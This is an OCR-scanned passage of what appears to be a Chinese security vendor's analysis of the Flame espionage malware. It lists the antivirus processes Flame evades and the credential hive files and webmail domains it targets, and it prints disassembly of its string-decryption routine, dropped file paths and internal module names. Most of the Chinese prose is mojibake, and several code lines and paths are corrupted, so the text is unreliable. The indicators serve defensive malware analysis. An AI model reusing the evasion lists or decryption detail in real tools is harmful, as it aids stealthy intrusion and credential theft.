® fsgk32.exe
® FSM32.EXE
® fsgk32st.exe
® pfsrv.exe
®  procexp.exe

® pfexe

ORXKIRINEFE , RIDTHRIEE,
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® SpywareTerminator.Exe
® sp_rsser.exe
® SpywareTerminatorShield.Exe
® AntiHook.exe
® procexp.exe
® avp.exe
SO R IR B 0 SE R A .
HEWMBEIEW R
M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
N A R i AT PR A
BRI, R SC B, BT 133 3,
AL=(MLMNM2)NM3)NM4)
Decrypted data = Encrypted data — AL
EAX
mi mz m3 M4
3-37 AL=(M1)N(M2)N(M3)N(M4)
fide s A AR -
0x1000D9DC proc near
test edx, edx
push esi
mov esi, eax
jbe short 0xX1000DA13
push ebx
push edi
push
pop edi
sub edi, esi
0x1000D9EA:
lea ecx, [edi+esi]
lea eax, [ecx+6]
imul eax, ecx
add eax,
mov ecx, eax
ORXIRINFIE , WiDTHREEE 6371
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shr ecx, 18h
mov ebx, eax
shr ebx, 10h
xor cl, bl
mov ebx, eax
shr ebx, 8
xor cl, bl
xor cl, al
sub [esi], cl
inc esi
dec edx
jnz short 0xX1000D9EA
pop edi
pop ebx
0x1000DA13:
pop esi
retn

0x1000D9DC endp
0x1000D9DC B& £ # I P, AL B W R
%—ﬂ\lﬁﬁﬁ

0x10016610 proc near
cmp word ptr [esi+10h], 0
jnz short 0x1001661B

lea eax, [esi+14h]
retn
0x1001661B:
movzx  edx, word ptr [esi+12h]
push edi
lea edi, [esi+14h]
mov eax, edi

call 0x1000D9DC
and word ptr [esi+10h], O

mov eax, edi
pop edi
retn

0x10016610 endp

0x10016610 B&Hc#: 1 FH 113 IX:

PR E ST
DWORD*4: WORD:sign WORD:length: N WORD*N:Encrypted ? 7 :unknow
unknow data

5 AbR A

ORXKIRINEFE , RIDTHRIEE, 64T
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0x1001A0EF proc near
movzx  edx, word ptr [esi+9]

push edi

lea edi, [esi+0Bh]
mov eax, edi

call 0x1000D9DC
mov eax, edi

mov byte ptr [esi+8],
pop edi
retn

0x1001A0EF endp

0x1001A0EF e& £ 4t 18 F 4 Ik
PR ES BT

DWORD*2:unknow | BYTE:sign WORD:length:N WORD*N: Encrypted data ??:unknow

3.10 Comspol32.ocx BHL T

Comspol32.0cx /& “ KM R BEEAT Ja BB B SO 2 —, FRATE 0 A H i 7 A 1 i 2 A e 4
MO SEC AR REE B . % URL P& 30— S A B g AT WO BURME B . AIRER Niteps32.0cx 2k
A, RERBBH — A

FEIBCR T i S A

®  9psystem32%\watchxb.sys

® %Temp% \~DFL545.tmp

® 9%Temp% \~DFL546.tmp

® %Temp% \~DFL542.tmp

® 9%Temp% \~DFL543.tmp

® %Temp% \~DFL544.tmp

S i D I =2 0 i) e o T 5 S O 6 O (5 5 TS N T S
BE RGIEME R EF KasperskyLab TiF Wi £ A R A

HKLM\SOFTWARE\KasperskyLab

HKLM\SOFTWARE\KasperskylLab\AVP6

HKLM\SOFTWARE\KasperskyLab\protected\AVP7

AL SR A AR IRAS R, A AL DU S R SR A AR

FH SRS B B30 8 SR SRR . Web 26 BB AN BE . cookie il 4.

ORXKIRINEFE , RIDTHRIEE, 65,
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® .hotmail.
® gawab.com
® gmail.com
® [ive.com
® mail
® maktoob.com
® rocketmail.com
® yahoo.co
® ymail.com

BHGE AL E — N T ML 2% 22 e R BIR,  IhFRECEAE 130 £ AN BERE, #OR E Sk — 5Bl ks
P OB A e A pE s . IR R Nteps32.cox 1 FAH A AT ¥ LB s IY (Fff56P0: Nteps32.0cx
RGN SO T AR AR, e A SRR thAE ) R B O

A B SR T RE AR R T e 2 A A A R B R

GetDIBist

SelectObject

BitBIt
CreateCompatibleBitmap
CreateCompatibleDC
MsgWaitForMultipleObjects
MapVirtualKeyExA
MapVirtualKeyA

ToUnicodeEx

SCAF A R BRI R AR A
HEIIEH I BT

M=(0xbh+N)*(N+0xbh+0x6h)

TEIN R R 1 AT B AG 7 AF IEEE

AL=(M1)NM2)N(M3)N(M4)

fE s, SO ZEY, RIS 2183,

ORXKIRINEFE , RIDTHRIEE, 866 ;T
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Enx

SN ML ML {EIA
M1 Mz M3 M4

Flame IR REFESITIRS

B WS, BRI B W A7 A edx A eax (£ IE IR SHL

X% R B 2 4.
PR %Y sub_10016610 4 i FH 306 X

ARSI TC R 225, AL — A BRI F
10001C5C

push offset unk_1008A250

.10001C61 call

MR sub_10016610 A w] DA K BN FIEHE 5 R an R -

sub_1000A877

DWORD*4: 4 41 WORD: fi# % #5 | WORD:f# 5 K &£ | WORD*N: # S % | ? 7 RN
& N i
PRI %L sub_1001A0EF # R FH 5 K.
WA BB B2 R, BENLEC— A3 2R I T
1002C197 push offset unk_10087CAC
1002C19C call sub_1000A84C
M BRI E sub_10016610 H AT DA L N s S5 R G F
DWORD*2: 4 411 BYTE: %5 | WORD:f## K& | WORD*N: % 3CH | 7 7 RA!
N b
7
%System32% — Al AR A% R 1B I A IRAE R GUR E 24T System SCAF I ALE.
%Windir% WINDODWS Jfi#E H 3%
%DriveLetter% IR H =
%ProgramFiles% RAFETBINZHH R
%HomeDrive% HETE N RA TS X
%Documents and Settings% T P SORR H
%Temp% \Documents and Settings\*4 {i FH /7 \Local Setti ngs\Temp
%System32% ZYi System32 Ak
ORXIRINFIE , WiDTHREEE $67T}W
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ANTIY

4 'U\—n Eﬁtg

ML J LR ELHE Stuxnet, Duqu A1 Flame 75 N B SARID e 44, AT LAVEMLE 2], WEHE 2
AP G 1 S R AR P BRI K T A% 3 SR A BOR ol R i SRAG A F Ml it o R0 AmE S 3 Bl
BRI IERCA APT Bt iR ) — AN H 3K

X e BT APT Xt (F3 S AR S LA X e r

1. BRI, K A BB ARG BN, Fembe sk s i dy b e B bR, JFA R
PR HBE G AR AR H AR EHL AR, DB R R I AR ] o

2. FERcER, SRR, BRI Z M NZBORIGH A &, RAA X C&C {577
ROMIEK IR Z 14, RABTE TR G Rl S5 . K, Flame 2] 1 Bk P4 IR A ORI

3. AR, ILATHEEMRISER, R —ThRe. ROSLH, HARRERM AshERm 5,
FERAE A P AE e WA, JERECR S, MR A U B TR R, REHER
HEA, IMZIIRERIRZ A, EAEGMMELE . R R HR B R e ik 1A A

4. REMMAZARM. OFHTHNSE. AMERE. R, XEBE AR R R %3
T HII, DR B R G2 AR 7 1225 BBk

5. £ &1, XUEEARINIEITHEREA MS-Office. Adobe Flash Player 5 #4 %4, YA WinCC
FLERGIE, 45 Mac 0S £4t. Java F &4 F R EL. UBHEANHL 2 A1, Bah
i ml fEIE AT RISl AT 1 TERR AT e

6. WA BAEF. WEERE, JFRR e, ZIsUEKFR, 22EL0t, AMERE, TR
PEISE . B A XA O 25— e, SR — Mk ACA L R B

FEXEERS (0T, TWRAAGI SR EA R CELEESUREE) 1 (K5 G K AL B R A58 20 H - (Rl
e E Rl BIR 2D, I RAE G 2 A 2 S, BRIl 2 PP IR Hph . betnn, by T OB
G BB AR AR R RAELLZZR, Sl b, X Seh T APT B RARAY, SRfe g bR
BOREE] R R T BERRER S, REA B S BT AR E RS R THI R R T RE, TEIR R BRI 2
MR, FEAELASEBL e AR F 3t X2 REIERE DR A, IR 2 S0 &7 AR & .

BeAh, RSB RS BT, SR R A S B IRAE shAE A R S 2 ) AR R AR
by BPEVET RS EAD . X R AR I S & R, AR EA I 2T e IR
RTINS MR APT Rt B RS BN, SO Re) Rk LA FRAR DME SRR S DO
JREo I, Kaspersky S5 % %) Stuxnet Al Duqu 734, mERTEREAT 7 LA H BIRFIR] . 7RIS D8 L, T

ORXKIRINEFE , RIDTHRIEE, 68T
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Flame IRREFEDITIRS

i T A AN IE A E RO A (8] BB AN 1 8 WU RN, JFRIT ey X Somse) misRit, 5
I Z2 BEAE R R B VR IRAF A

BIAE AEBOR ML, FEM Rt h, 224 i S WA T ARIAL . AT MEITE T — H AR
o E, WAFIERE H R4, FL b, XXM ELTIN. TALIRIBL, 2% 7 2 R KE S
BRI RETT (1 R By, IR DL DA BAT AR

FEIXFM BT, BATHZEMNEA ORI 387 AR X S Tt . BN b AT
LR, RITIERBI T AT S BEADH BN ik, PR 1 AR S TR O (A SRk
o) SRS A B A &, [FIRE TR B R GUBLNIR « AT AR o AR 3E p  SRr S IC 4
B R SRS AR A 2 e B RS LB Bl /KiE & BP0 8 AT, X SR K
(M1 BRI, M ESD ME, AREERITERE 0.

5 B

by —

#F+* 5-1 3 Mssecmgr.ocx XHHFRIERREHETIFR, HIIRFMECERPH—EEHHENIRS —LiHERE

Ei]: P

LT

TSAnNSrf.exe
xauth_service.exe
fwsrv.exe
kavmm.exe
acs.exe
frzstate2k.exe
Fsguiexe.exe
Nvoy.exe
SCANWSCS.exe
zerospyware lite_installer.exe
ICMON.exe
fsdfwd.exe
fsrt.exe
Fsm32.exe
bdmcon.exe
sab_wab.exe
TScutyNT.exe
blackd.exe
VSDesktop.exe

ORXKIRINEFE , RIDTHRIEE,

Omniquad Anonymous Surfing %4 &I HERE .
NS

Jetico Personal Firewall iEF2 — 3K 4 [ 17 {7 5 55 FH B AN N R 28 57 Kk 33k o
Kaspersky Anti-Virus Personal Pro 5 #£F¢.

outpost Bij K45 [ 1E 5 L

UK I8 SR A IR o

F-Secure [ 8 A AHRHEIT o

Norman AntiVirus % # #FAH SRR .

Quick Heal Technologies /2 7] QuickHeal /7 #4 -
ZeroSpyware fHC A #FE — 3K NBRFART 37 34 o
Sophos AntiVirus B & far il 1435 3 i AR A5 2 .
F-Secure Anti-Virus #5412 .

Fortres Security #EF% .

& F-Secure Ui 8 I — 47

SoftWin 23 & Hi 1) BitDefender S 877 i 1 —#553
SUPERAnNtiSpyware #1541 {434 «

Omniquad Ltd 2 %] 7= i iR«

BlackICE T+ ALB; K3 — &8 75

Virtual Sandbox 2.0 Build 209 T-#EFE.

$69 T
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DCSUserProt.exe
authfw.exe
app_firewall.exe
Ipfw.exe
FCH32.exe
ccEvtMgr.exe
xfilter.exe
Fsbwsys.exe
jpf.exe

TSALiSy.exe
Fsgk32.exe
fxsrv.exe
swupdate.exe
almon.exe
EMLPROXY.exe
UmxTray.exe
NetMon.exe
Firewall 2004.exe
pgaccount.exe

EMLPROUI.exe
XCOMMSVr.exe
TMBMSRV.exe
umxcfg.exe
Kpf4gui.exe
SpyHunter3.exe
NVCSCHED.exe
alsvc.exe
avguard.exe
Fssm32.exe
DFServEx.exe
live help.exe
DF5ServerService.exe
bdss.exe
sched.exe
jpfsrv.exe
PXConsole.exe
ONLINENT.exe
SSUpdate.exe
SpywareTerminator.exe
ONLNSVC.exe
mpsvc.exe

ORXKIRINEFE , RIDTHRIEE,

Flame IR REFESITIRS

DiamondCS ProcessGuard 32 — 3k R4t % L o

Authentium Firewall #F% .

NetScaler App Firewall £ .

Lavasoft Personal Firewall 32,

F-Secure Anti-Virus #EFE .

Norton Internet Security /4 2 42— #B 45

PR K I AH ISR .

F-secure S 5 B AHRHE T o

JeticoPersonalFirewall & — 3k 3y A& 4> T HL 1 51 55 F (0 R 28 B 47 3, mT LA AL
iR ENL 2 B R R .

Omniquad AntiSpy 4k {3 FE .

F-Secure i B A FHRAET o o

NG

Sophos AntiVirus 3% .

Sophos AutoUpdate 7= & [ — N 2EFE

Quick Heal AntiVirus #Ef2 — 2K BB I35 44 22 284

TinyFirewall #H5¢#EF2 . TinySoftware H i 10— 2K /2% B K i Bk
& NetworkMonitor — 3 FH -4 FHAT W 00 99 28 DR 100 1R A0 A 33
WyvernWorks Firewall 2004 #4FHEFE .

RTINS BT, 385 R — Mk P ExENL, Aralses
B Z A FE I

Quick Heal AntiVirus #:7%.

BitDefender 5 #57= i AH R T

TMBMSRV.exe /&% Trend Micro H i (1) PC-cillin J i 85 50 (1 — 3653
TinyFirewall #1538 . TinySoftware H i 10— 5% P 2% By K B A
72 Kerio ™ NP7 K5 AH G FE o

SpyHunter J [ 84372 .

NVCSched.exe & Norman %% 245 1 & 1H TS FEF

Sophos AntiVirus %47 i o i — AN RE .

& AntiVir A~ AR 2 2 B35 10— .

F-Secure SR B AHCRE R, T HHH 5 .

Deep Freeze5({K siid JR)IFEFE ©

Windows32 ) 3 FH F& 7 AH R 1A o

Deep Freeze5({K siid JR)EFE ©

/& BitDefender 2 8 S — &85

NVCSched.exe & Norman %% 245 #l & 1H TSR
JeticoPersonalFirewall ) IR 55 HEFE .

Prevx Home B4R A 172

Quick Heal Total %247 i AH AR

SUPERANtiSpyware [F]i 316l 4 44 302

Crawler A B EAFAH R o

F-Secure i B K AFAHRHLEIT o

(8= i i lbei 7

B703
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VSServ.exe
cpf.exe

UmxPol.exe
RDTask.exe

TmPfw.exe
ike.exe
DFAdmin6.exe
asr.exe
FWService.exe
protect.exe
NJEEVES.exe
TMAS_OEMon.exe
Sp_rsser.exe
WSWEEPNT.exe
ipcsvc.exe
UmxAgent.exe
Umxlu.exe

kav.exe
MPF.exe

umxagent.exe
avp.exe
TSmpNT.exe
fsgk32st.exe
zlclient.exe
R-Firewall.exe
SWW.exe
umxtray.exe

CCApp.exe

avpm.exe
smc.exe
PF6.exe
ipcTray.exe
fsaua.exe
fsgh.exe
R-firewall.exe
pcipprev.exe
blackice.exe
ekrn.exe

ORXKIRINEFE , RIDTHRIEE,

Flame IR REFESITIRS

#& Bull Guard [M4% 4483 BitDefender S 5 B A 85
ComodoPersonalFirewall F=F2/7 .

TinyFirewall #H3<#EFE . TinyFirewall /& H .

R CIRAERAR T « RLIEHE & —E L) CD/DVD ZISRAJEREN B3R
4.

tmpfw.exe A& H A & I 25 2 A A ) — 885

FortiClient %) SSL VPN fil 5%

VK SR R R i A2 B — N g R

Advanced_Spyware_Remover J [A] 35 #AF L .

PCToolsFirewallPlus [#] Ak 55 HEFE

Safe'n'Sec = i 1) — AN RE

Norman JJi ™ it () —#87) o

Trend Micro Anti-Spam Hf)— A HEfE .

SpywareTerminator /5 [A] 1 % {4 AH AR T o

Sophos Anti-Virus #EF% .

NetVeda Safety.Net 2 4= 44 35 o

CA Anti-Virus #H Gk 55 172 .

TinyFirewall #H2<#EFE. TinyFirewall /& i1 TinySoftware H & i — 2K 4% Bk
A

3L Kaspersky Anti-Virus S 2877 fhidE R .

& McAfee W22 R AEAHCIRE, F T ORIIRIN TSN b 52 I 28 s L
I 5 1) B o

CA Anti-Virus #H ¢k 55 172 .

B3t Kaspersky Anti-Virus S5 2877 dhiERE .

Omniquad MyPrivacy #f43E % «

F-Secure [ 28 B AFAH TR o

ZoneAlarm ™ A\ Bjj K38 B2 P 3w 2 7 -

R-Firewall > A\ B K k2 o

.

TinyFirewall #H5¢HEF2. TinyFirewall /& 1 TinySoftware H i B — 3K 45 B k.
REEAL

#& Norton AntiVirus 2003 S #8541 — &85 &
<

R LT Kaspersky A F] H i I RIEEEEZE K —H 5

#& Norton AntiVirus B —8 5. /e B S RIFIRITHENL %42,
Privatefirewall #H<HERE

NetVeda Safety.Net 2 44 {4 35 o

%R )R T F-Secure /A ] ) [ 5 5 B QR

F-secure S 55 EC1F RGBS & 2 T H. .

R-Firewall > A\ B K 5% o

b7 KGR A

BlackICE J& ki k3%, blackice.exe AT ZIHE .

J& ESET Smart Security B¢ ESET NOD32 Antivirus JJ5i 2 54 A S FE .

B BEWS A S IR IR T L %

BIIRT
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configmgr.exe
ipatrol.exe
savadminservice.exe
alupdate.exe
Zanda.exe
nstzerospywarelite.exe
AdoronsFirewall.exe
vsmon.exe
snsmcon.exe

vdtask.exe
OElnject.exe
procguard.exe

UmxCfg.exe
SpywareTerminatorShield.exe
fsgk32.exe

mpfcm.exe

SWNETSUP.exe
UfSeAgnt.exe

fsquidll.exe

clamd.exe

PXAgent.exe

snsupd.exe

updclient.exe

tikl.exe
FirewallGUl.exe
ZeroSpyware Lite.exe
RTT_CRC_Service.exe
SfCtlICom.exe
FrzState.exe

avgnt.exe
cmdagent.exe

sppfw.exe
cdinstx.exe
aupdrun.exe
omnitray.exe

ORXKIRINEFE , RIDTHRIEE,

Flame IR REFESITIRS

IBM Case Manager F1#f% .

BB 2B, 2.

SophosAnti-Virus(SAV) & — k5% [ (1) 155 S F 11— 3587

RRFRIEF B SFIAEAE TS T FT A v] s B 8 24

Norman J i EE = s s HIFE T, RN 2 3E B RFET

SR A — 47

Adorons 7 K3 R FHAR P — 53

ZoneAlarm 4 A7 KIE I —H 53

Safe'n'Sec® ¥ FH /' Fit 1 /& M2 7] SNSafe 554448 T 7= i Safe'n'Sec 2009 1)
RS

— KRG IR AR o

Omniquad Total Security 5 & /4 AH 3R .

with description GUI Aspect of ProcessGuard is a process file from company
DiamondCS belonging to product DiamondCS ProcessGuard .

The file is not digitally signed..

TinyFirewall 4% 57 K 55 E A FH O IERE o

pyware Terminator #EFE — K 5 2% H. 55 F H1R] 5 A B SR A o

-Secure I B A RFR T

NES

Sophos Anti-Virus J2 7 & 55 X 4% 3 RF B 55 S FH AR 5 AH 5 HR 3R RE

Jei#a% Trend Micro H4 541 PC-cillin S E5 3 44 (K — &5 43 -

— K VI RE SR S B e U AN 5 R G

FAEHA: Clam AV [AH ISR .

& Prevx Home ‘¢ 4= 344 (1 AH G673

IS A& T 7= i SysWatch®4 b A2 i A ®]©SNSafe A & . S IR
SysWatch®%% - iy B BT ) — &8 7»

ZoneAlarm 2 7 22 & AT FH AU KR o

TR RET .

— KB KIEA KRR o

zerospyware Jx [EJ i HEFE .

R-Firewall [jj ‘K3 i) —&5 75

i Trend Micro B 5 1) PCcillin S B3R A 10— 384 -

VKSR R 7= it R R — AN R

s& H+BEDV SO i) —#B 7>, I TR RG22 4 il il

Comodo [j K3t AE, ReFl B MUMIAS %R, B8 Vshield B3R
G, WA RGHLE, SEMNRE. W% B E-mail S0 A IR SCEERT
Ho BTN 2 et B3NS REE, EariiEd, JHMEEHR
AbEE, T HSCHE AR A SR PO R T e, I AT A R AN N e BT
kA TCIEEL U IR

GmbH A 7] Securepoint AR F . B KA AR HEFE

A FEHAF anti-spyware HEFE

& Agnitum Outpost Firewall [ k3% E Zh T+ FEFE -

Genetec Omnicast 22 & ] Network DVR Server ##£ .

B2]W
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Kpf4ss.exe
gateway.exe
FSMA32.exe
SavService.exe
BootSafe.exe
fspc.exe
AntiHook.exe
dfw.exe
FSM32.exe
Netguard Lite.exe
pfsvc.exe
op_mon.exe
zerospyware le.exe
DF5SERV.exe
TmProxy.exe
safensec.exe
FSMB32.exe
Tray.exe
umxfwhlp.exe

nvcoas.exe
FAMEH32.exe
tinykl.exe

ccSetMgr.exe
SUPERAnNtiSpyware.exe
fsav32.exe

outpost.exe
UmxFwHIp.exe
Fspex.exe

bdagent.exe
wwasher.exe
VCATCH.exe
spfirewallsvc.exe
cdasl7.exe

dvpapi.exe
fssm32.exe
livesrv.exe
Fsav32.exe

FR—

ORXKIRINEFE , RIDTHRIEE,

Flame IR REFESITIRS

Kerio > AR k85 1) Windows #EFE 1 —#54)
WindUpdates ) & TR — N EE

F-Secure [ & P AT ) — 8 5)

& Sophos Anti-Virus Module 24 AH <R .

R P B 5 i\ 2 R NET .

F-Secure (1) H.EXM % 2B

AntiHook #& il i FE .

Signs Bli K BEiEFE

& F-Secure i B I — 43

ZeroSpyware [AJ R HAFH ) — 57

Privacyware )% —4 Windows U, i KBS FH A
OutpostFirewall [5 K 3 ¥ SE B ME 4 F2 7 o

ZeroSpyware > N BEFAR 3 A AH O HEAR o

UK BB = i ) — 3 3
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"C:\Program Files\Common Files\Microsoft Shared\MSAudio\mpgaaux.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAudio\gpgaaux.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAudio\mlcache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAudio\srcache.dat"
"C:\WINDOWS\Ef trace.log"
"C:\WINDOWS\repair\system"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~rei525.tmp"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~rei524.tmp"
"C\DOCUME~I\ADMINI~1\LOCALS~1\Temp\GRb9M2.bat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~a28.tmp"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~dra51.tmp"
"C\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~TFL849.tmp"
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"C:\DOCUME~N\ADMINI~I\LOCALS~1\Temp\~TFL848.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL546.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"
"C:\WINDOWS\repair\sam"

"C:\WINDOWS\repair\security"

"C:A\WINDOWS\repairdefault™

"C:\WINDOWS\repairsoftware"

"C:\WINDOWS\Prefetch\Layout.ini"
"C:\WINDOWS\Prefetch\NTOSBOOT-BOODFAAD..pf"
"C:\WINDOWS\system32\config\sam.sav"
"C:\WINDOWS\system32\config\security.sav"
"C:\WINDOWS\system32\config\default.sav"
"C:\WINDOWS\system32\config\software.sav"
"C:\WINDOWS\system32\config\system.sav"
"C:\WINDOWS\system32\config\userdiff.sav"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra52.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~ZFF042.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab15.dat"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\wpab32.bat"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\wpab32.bat "
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFO5AC8.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD85D3.tmp"
"C:AWINDOWS\system32\pcldrvx.ocx"

"C:\Program Files\Common Files\Microsoft Shared\MSAudio\dstrlog.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAudio\dstrlogh.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\authcfg.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\ctrllist.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\Imcache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\ntcache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\posttab.bin"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl\tokencpt"
"C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlog.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlogh.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\audtable.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\fmpidx.bin"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\Irlogic"
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"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\mixercfg.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\sndmix.drv"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\Imcache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\ntcache.dat"
"C:\Program Files\Common Files\Microsoft Shared\MSSndMix\mixerdef.dat"

"CAWINDOWS\system32\msglu32.ocx"
"C:\WINDOWS\Temp\~8C5FF6C.tmp"
"C:\DOCUME~N\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HL\V084.tmp"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HLV294.tmp"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HLV473.tmp"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KW1988.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI1989.tmp"
"C:\DOCUME~N\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"
"C:AWINDOWS\system32\advnetcfg.ocx"
"C:\WINDOWS\system32\advpck.dat"
"C:A\WINDOWS\system32\authpack.ocx"
"C:\WINDOWS\system32\boot32drv.sys"
"C:\WINDOWS\system32\ccalc32.sys"
"C:AWINDOWS\system32\comspol32.diI*
"C:\WINDOWS\system32\ctrllist.dat"
"C:\WINDOWS\system32\mssvc32.0cx"
"C:\WINDOWS\system32\ntaps.dat"
"C:A\WINDOWS\system32\nteps32.ocx"
"C:\WINDOWS\system32\rpcnc.dat"
"C:\WINDOWS\system32\soapr32.ocx"
"C:\WINDOWS\system32\sstab.dat"
"C:\WINDOWS\system32\sstab0.dat"
"C:\WINDOWS\system32\sstab1.dat"
"C:\WINDOWS\system32\sstab10.dat"
"C:\WINDOWS\system32\sstab2.dat"
"C:\WINDOWS\system32\sstab3.dat"
"C:\WINDOWS\system32\sstab4.dat"
"C:\WINDOWS\system32\sstab5.dat"
"C:\WINDOWS\system32\sstab6.dat"
"C:A\WINDOWS\system32\sstab7.dat"
"C:A\WINDOWS\system32\sstab8.dat"
"C:A\WINDOWS\system32\sstab9.dat"
"C:\WINDOWS\system32\msglu32.ocx"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"
"C:\DOCUME~I\ADMINI~1\LOCALS~1\Temp\~draé1.tmp"
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"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~a38.tmp"
"C:\WINDOWS\system32\soapr32.ocx"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a2.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a0.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2al.tmp"
"C:\WINDOWS\system32\nteps32.ocx"
"C:A\WINDOWS\system32\advnetcfg.ocx"
"C:\WINDOWS\system32\boot32drv.sys"
"C:\WINDOWS\system32\ccalc32.sys"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HLV473.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV927.tmp"
"C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\~HL\V084.tmp"
"C:\DOCUME~N\ADMINI~I\LOCALS~1\Temp\~HLV294.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KW1988.tmp"
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KW1989.tmp"
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lua::LuaState::interfaceBootStrapper<|oOo|>316<|oOo|>"
lua::SockPackage::LuaSockServices::send<|oOo|>1731<|oOo|>"
clan::AttackPackage::audition<|oOo|>218<|oOo[>"

lua::ConfigurationPackage::removeListElement<|oOo[>615<|oOo[>"

lua::LuaState::interfaceBootStrapper<|oOo|>320<|oOo|>"
lua::CommandPackage::post<|oOo[>177<|oOo|>"
clan::AttackPackage::audition<|oOo|>234<|oOo[>"
lua::SockPackage::LuaSockServices::connect<|oOo[>1894<|oOo[>"
lua::ConfigurationPackage::getListSize<|oOo|>454<|oOo|>"
lua::FlameOSPackage::exec<|o00|>1161<|oOo>"
lua::CommandPackage::runCmdSync<|oOo|>213<|oOo|>"
lua::LuaState::argAsBoolean<|oOo|>188<|o0o|>"
lua::CommandPackage::runCmdSync<|oOo|>203<|0Oo|>"

:clan::AttackPackage::audition<|oOo|>233<|0Oo|>"
:dbquery::DbQueryPackage::parseSingleQuery<|oOo0|>210<|oOo[>"

lua::LuaState::interfaceBootStrapper<|oOo|>326<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo|>337<|oOo|>"
lua::ConfigurationPackage::hasKey<|oOo[>270<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo|>340<|oOo|>"
lua::SockPackage::LuaSockServices::recv<|o00|>1756<|oOo|>"
lua::ConfigurationPackage::get<|oOo0|>331<|oOo[>"
clan::AttackPackage::audition<|oOo[>229<|oOo[>"
lua::LuaState::interfaceBootStrapper<|oOo|>350<|oOo|>"
lua::ZlibPackage::compress<|oOo|>2158<|oOo|>"
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lua::LuaState::interfaceBootStrapper<|oOo|>334<|oOo|>"

:clan::DbPackage::pushSQL.iteValue<|oOo[>430<|oOo[>"

lua::FlameOSPackage::DHCPAddress<|oOo|>1238<|oOo[>"
lua::ConfigurationPackage::getListElement<|oOo|>584<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo|>352<|oOol|>"

:clan::AttackPackage::audition<|oOo[|>231<|oOo[>"
:dbquery::DbQueryPackage::executeQueries<|oOo[>192<|oOo[>"
:lua::SockPackage::LuaSockServices::connect<|oOo|>1868<|oOo|>"

lua::CommandPackage::runCmdSync<|oOo0|>199<|oOo|>"
lua::FlameOSPackage::hosthame<|oOo|>1069<|oOo[>"

:cruise::CruisePackage::getDomainGroupUsers<|oOo[>154<|oOo[>"

lua::FilelOPackage::fileSize<|oOo[>900<|oOo|>"

:clan::AttackPackage::pathetic3<|oOo[>153<|oOo[>"

